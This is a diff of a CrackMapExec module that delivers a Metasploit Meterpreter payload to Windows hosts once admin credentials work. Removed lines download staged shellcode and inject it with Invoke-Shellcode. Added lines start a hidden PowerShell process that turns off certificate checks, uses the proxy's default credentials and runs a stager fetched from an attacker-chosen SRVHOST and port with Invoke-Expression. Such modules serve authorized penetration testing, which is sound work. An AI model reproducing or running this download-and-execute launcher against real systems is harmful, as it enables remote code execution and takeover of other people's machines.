@@ -14,63 +14,43 @@ class CMEModule:
1414
1515 def options (self , context , module_options ):
1616 '''
17- LHOST IP hosting the handler
18- LPORT Handler port
19- PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https)
20- PROCID Process ID to inject into (default: current powershell process )
17+ SRVHOST IP hosting of the stager server
18+ SRVPORT Stager port
19+ RAND Random string given by metasploit
20+ SSL Stager server use https or http (default: https )
2121 '''
2222
23- self .met_payload = 'reverse_https'
24- self .procid = None
23+ self .met_ssl = 'https'
2524
26- if not 'LHOST ' in module_options or not 'LPORT ' in module_options :
27- context .log .error ('LHOST and LPORT options are required!' )
25+ if not 'SRVHOST ' in module_options or not 'SRVPORT' in module_options or not 'RAND ' in module_options :
26+ context .log .error ('SRVHOST and SRVPORT and RAND options are required!' )
2827 exit (1 )
2928
30- if 'PAYLOAD ' in module_options :
31- self .met_payload = module_options ['PAYLOAD ' ]
29+ if 'SSL ' in module_options :
30+ self .met_ssl = module_options ['SSL ' ]
3231
33- if 'PROCID' in module_options :
34- self .procid = module_options ['PROCID' ]
35-
36- self .lhost = module_options ['LHOST' ]
37- self .lport = module_options ['LPORT' ]
38-
39- self .ps_script = obfs_ps_script ('powersploit/CodeExecution/Invoke-Shellcode.ps1' )
32+ self .srvhost = module_options ['SRVHOST' ]
33+ self .srvport = module_options ['SRVPORT' ]
34+ self .rand = module_options ['RAND' ]
4035
4136 def on_admin_login (self , context , connection ):
42- #PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode
43- #so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode
44-
45- payload = """$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}}
46- $SumTest = $False
47- while ($SumTest -eq $False)
48- {{
49- $GeneratedUri = $CharArray | Get-Random -Count 4
50- $SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)
51- }}
52- $RequestUri = -join $GeneratedUri
53- $Request = "{}://{}:{}/$($RequestUri)"
54- $WebClient = New-Object System.Net.WebClient
55- [Byte[]]$bytes = $WebClient.DownloadData($Request)
56- Invoke-Shellcode -Force -Shellcode $bytes""" .format ('http' if self .met_payload == 'reverse_http' else 'https' ,
57- self .lhost ,
58- self .lport )
59-
60- if self .procid :
61- payload += " -ProcessID {}" .format (self .procid )
62-
63- launcher = gen_ps_iex_cradle (context , 'Invoke-Shellcode.ps1' , payload , post_back = False )
64-
65- connection .ps_execute (launcher , force_ps32 = True )
37+ # stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
38+ command = """$url="{}://{}:{}/{}"
39+ $DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
40+ $PowershellExe=$env:windir+'\\ syswow64\\ WindowsPowerShell\\ v1.0\powershell.exe'
41+ if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
42+ $ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
43+ $ProcessInfo.FileName=$PowershellExe
44+ $ProcessInfo.Arguments="-nop -c $DownloadCradle"
45+ $ProcessInfo.UseShellExecute = $False
46+ $ProcessInfo.RedirectStandardOutput = $True
47+ $ProcessInfo.CreateNoWindow = $True
48+ $ProcessInfo.WindowStyle = "Hidden"
49+ $Process = [System.Diagnostics.Process]::Start($ProcessInfo)""" .format (
50+ 'http' if self .met_ssl == 'http' else 'https' ,
51+ self .srvhost ,
52+ self .srvport ,
53+ self .rand )
54+ context .log .debug (command )
55+ connection .ps_execute (command , force_ps32 = True )
6656 context .log .success ('Executed payload' )
67-
68- def on_request (self , context , request ):
69- if 'Invoke-Shellcode.ps1' == request .path [1 :]:
70- request .send_response (200 )
71- request .end_headers ()
72- request .wfile .write (self .ps_script .encode ())
73- request .stop_tracking_host ()
74- else :
75- request .send_response (404 )
76- request .end_headers ()
0 commit comments